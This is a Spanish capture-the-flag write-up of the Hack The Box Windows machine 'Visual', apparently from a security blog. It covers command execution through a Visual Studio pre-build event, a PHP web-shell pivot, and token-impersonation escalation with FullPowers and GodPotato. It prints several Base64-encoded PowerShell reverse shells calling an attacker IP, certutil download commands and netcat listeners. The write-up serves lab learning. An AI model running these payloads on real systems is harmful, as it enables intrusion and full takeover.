Descripción

Visual es una máquina media de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Ejecución remota de comandos mediante un proyecto de Visual Studio
  • Pivote a la cuenta de servicios locales desde un servicio web
  • Escalada de privilegios mediante una suplantación de un token utilizando las herramientas FullPowers y GodPotato

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y su sistema operativo. La dirección IP de la máquina de destino es 10.10.11.234.

$ ping -c 3 10.10.11.234        
PING 10.10.11.234 (10.10.11.234) 56(84) bytes of data.
64 bytes from 10.10.11.234: icmp_seq=1 ttl=127 time=40.9 ms
64 bytes from 10.10.11.234: icmp_seq=2 ttl=127 time=40.7 ms
64 bytes from 10.10.11.234: icmp_seq=3 ttl=127 time=40.8 ms

--- 10.10.11.234 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 40.695/40.781/40.881/0.076 ms

La máquina está activa y con el TTL que equivale a 127 (128 menos 1 salto) podemos asegurar que es una máquina de Windows. Ahora vamos a hacer un escaneo de puertos de Nmap TCP SYN para comprobar todos los puertos abiertos.

$ sudo nmap 10.10.11.234 -sS -p- -oN nmap_scan  
Starting Nmap 7.93 ( https://nmap.org )
Nmap scan report for 10.10.11.234
Host is up (0.041s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT   STATE SERVICE
80/tcp open  http

Tenemos un puerto abierto, el 80.

Enumeración

Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.

$ nmap 10.10.11.234 -sV -sC -p80 -oN nmap_scan_ports
Starting Nmap 7.93 ( https://nmap.org )
Nmap scan report for 10.10.11.234
Host is up (0.041s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.1.17)
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.1.17
|_http-title: Visual - Revolutionizing Visual Studio Builds

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.76 seconds

Obtenemos un servicio: un Hypertext Transfer Protocol (HTTP) que funciona en un servidor Apache httpd 2.4.56. Con la herramienta WhatWeb podemos enumerar las tecnologías del sitio web.

$ whatweb --log-brief web_techs 10.10.11.234
http://10.10.11.234 [200 OK] Apache[2.4.56], Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.1.17], IP[10.10.11.234], OpenSSL[1.1.1t], PHP[8.1.17], Script, Title[Visual - Revolutionizing Visual Studio Builds], X-Powered-By[PHP/8.1.17]

Observamos que se utiliza la versión 1.1.1t de OpenSSL y PHP 8.1.17. Al visitar el sitio web podemos ver que ofrece un servicio para compilar un proyecto de Visual Studio .NET 6.0 C#. El enlace al repositorio de Git se puede introducir en un formulario para iniciar la compilación. Si creamos un servidor HTTP podemos ver el cliente utilizado para descargar el repositorio Git, git 2.41.0.

Petición HTTP del servidor Git:

GET /repository.git/info/refs?service=git-upload-pack HTTP/1.1
Host: 10.10.14.5
User-Agent: git/2.41.0.windows.1
Accept: */*
Accept-Encoding: deflate, gzip, br, zstd
Pragma: no-cache
Git-Protocol: version=2

Podemos ejecutar comandos en el sistema remoto creando un proyecto C# y especificando un comando que se ejecute antes de la compilación. En primer lugar, para crear un proyecto C#, podemos utilizar una plantilla de Microsoft. Después tendremos un proyecto llamado ConsoleApp1 y un archivo de solución ConsoleApp1.sln. Dentro de la carpeta ConsoleApp1 encontramos el archivo de configuración, ConsoleApp1.csproj, que es el archivo que necesitamos modificar. Necesitamos dentro del PropertyGroup, la propiedad PreBuildEvent con el comando a ejecutar.

Propiedad a añadir:
<PreBuildEvent>cmd.exe</PreBuildEvent>

Explotación

En este obtendremos una terminal inversa utilizando PowerShell (generada con Reverse Shell Generator). Así que generamos el comando (codificado en Base64).

Comando de PowerShell para crear una terminal inversa:

powershell.exe -NoProfile -ExecutionPolicy UnRestricted -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4ANQAiACwAMQAyADMANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=

Ahora tenemos el proyecto listo. El siguiente paso es crear un servidor Git (en este caso usando las imágenes de Docker de Gitea) para albergar el repositorio Git. Después de desplegar un servidor de Gitea creamos el repositorio (en la carpeta del proyecto) y luego lo enviamos.

$ git init
$ git add .
$ git commit -m "first commit"
$ git remote add origin http://10.10.14.5:3000/giteadm/repository.git
$ git push -u origin master

Finalmente podemos volver al sitio web para introducir la URL del repositorio en el formulario. Recibiremos un mensaje sobre la compilación en ejecución. Después de unos segundos, y después abrir el puerto de escucha, tenemos una terminal inversa. Estamos conectados como el usuario enox.

$ nc -nvlp 1234                                     
listening on [any] 1234 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.234] 55189
PS C:\xampp\htdocs\uploads\f99927209ae5b18b904e1643800839> whoami
visual\enox

Post-Explotación

Además del usuario enox, el usuario Administrator existe.

$ nc -nvlp 1234                                     
listening on [any] 1234 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.234] 55189
PS ... > net users

User accounts for \\VISUAL

-------------------------------------------------------------------------------
Administrator            DefaultAccount           enox                     
Guest                    WDAGUtilityAccount       
The command completed successfully.

El sistema está ejecutando el sistema operativo Microsoft Windows Server 2019 Standard.

PS ... > systeminfo

Host Name:                 VISUAL
OS Name:                   Microsoft Windows Server 2019 Standard
OS Version:                10.0.17763 N/A Build 17763

Después de hacer la enumeración de los servicios, encontramos que el programa NSSM ha creado el servicio CompileService, que ejecuta un archivo PowerShell.

PS ... > dir "C:\Program Files"
    Directory: C:\Program Files

Mode                LastWriteTime         Length Name                                   
----                -------------         ------ ----                                   
...                                            
d-----        6/10/2023  11:00 AM                nssm-2.24                              
...

PS ...> Get-WmiObject win32_service | ?{$_.PathName -like '*nssm*'} | select Name, DisplayName, State, PathName

Name           DisplayName    State   PathName                                 
----           -----------    -----   --------                                 
CompileService CompileService Running C:\Program Files\nssm-2.24\win64\nssm.exe

PS ...> "C:\Program Files\nssm-2.24\win64\nssm.exe" get CompileService Application
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

PS ...> C:\Program Files\nssm-2.24\win64\nssm.exe" get CompileService AppParameters 
-ExecutionPolicy Bypass -NoProfile -File C:\Users\enox\Documents\compile.ps1

Como la aplicación web se almacena en el directorio C:\xampp\htdocs\ utilizando la aplicación XAMPP podemos almacenar una terminal inversa de PHP para pivotar al usuario del Servicio Local, que tiene más privilegios, ya que la aplicación está funcionando como un servicio.

$ cp /usr/share/webshells/php/simple-backdoor.php .
$ python -m http.server 80
$ nc -nvlp 1235

Y luego descargamos el archivo en el directorio de trabajo de la máquina remota.

PS C:\xampp\htdocs\uploads\f99927209ae5b18b904e1643800839> certutil -urlcache -f http://10.10.14.5/simple-backdoor.php simple-backdoor.php

Después de eso, hacemos la solicitud GET con la el comando de la terminal inversa de PowerShell (con el parámetro cmd).

http://10.10.11.234/uploads/f99927209ae5b18b904e1643800839/simple-backdoor.php?cmd=powershell%20-e%20JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4ANQAiACwAMQAyADMANQApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=

Obtenemos una terminal como el usuario nt authority\local service al abrir el nuevo puerto de escucha.

$ nc -nvlp 1235
listening on [any] 1235 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.234] 49830
PS C:\xampp\htdocs\uploads\f99927209ae5b18b904e1643800839> whoami
nt authority\local service
PS C:\xampp\htdocs\uploads\f99927209ae5b18b904e1643800839> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State   
============================= ============================== ========
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled 
SeCreateGlobalPrivilege       Create global objects          Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

Vemos que el usuario está conectado con un conjunto limitado de privilegios. Para suplantar un token para elevar nuestros privilegios necesitamos recuperarlos. Así que utilizaremos el script FullPowers para crear otra terminal inversa con el privilegio SeImpersonatePrivilege. En nuestro sistema descargamos el archivo, lo almacenamos y abrimos el nuevo puerto de escucha.

$ wget https://github.com/itm4n/FullPowers/releases/download/v0.1/FullPowers.exe
$ python -m http.server 80
$ nc -nvlp 1236

Y en el sistema remoto obtenemos el binario de nuestro sistema y lo ejecutamos con el comando de PowerShell.

PS ... > certutil -urlcache -f http://10.10.14.98/FullPowers.exe FullPowers.exe
PS ... > .\FullPowers.exe -z -c "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4ANQAiACwAMQAyADMANgApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="

Recibimos la terminal inversa y comprobamos que tenemos los privilegios.

$ nc -nvlp 1236
listening on [any] 1236 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.234] 50424
   
PS C:\Windows\system32> whoami
nt authority\local service
PS C:\Windows\system32> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State  
============================= ========================================= =======
SeAssignPrimaryTokenPrivilege Replace a process level token             Enabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Enabled
SeAuditPrivilege              Generate security audits                  Enabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Enabled

Después de eso, para suplantar la sesión del usuario nt authority\system podemos utilizar la herramienta GodPotato que desplegará otra terminal inversa. En nuestro sistema descargamos la herramienta, la almacenamos y abrimos el puerto de escucha.

$ wget https://github.com/BeichenDream/GodPotato/releases/download/V1.20/GodPotato-NET4.exe
$ python -m http.server 80
$ nc -nvlp 1237

Y en el sistema remoto obtenemos la herramienta y la ejecutamos con el comando de PowerShell.

PS ... > certutil -urlcache -f http://10.10.14.5/GodPotato-NET4.exe GodPotato-NET4.exe
PS ... > .\GodPotato-NET4.exe -cmd "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AOQA4ACIALAAxADIAMwA3ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=="

Finalmente obtenemos una sesión como el usuario nt authority\system.

$ nc -nvlp 1237
listening on [any] 1237 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.234] 51527

PS C:\xampp\htdocs\uploads\f99927209ae5b18b904e1643800839> whoami
nt authority\system

Flags

Finalmente podemos obtener la flag del usuario y la flag del sistema.

PS ... > type "C:\Users\enox\Desktop\user.txt"
<REDACTED>
PS ... > type "C:\Users\Administrator\Desktop\root.txt"
<REDACTED>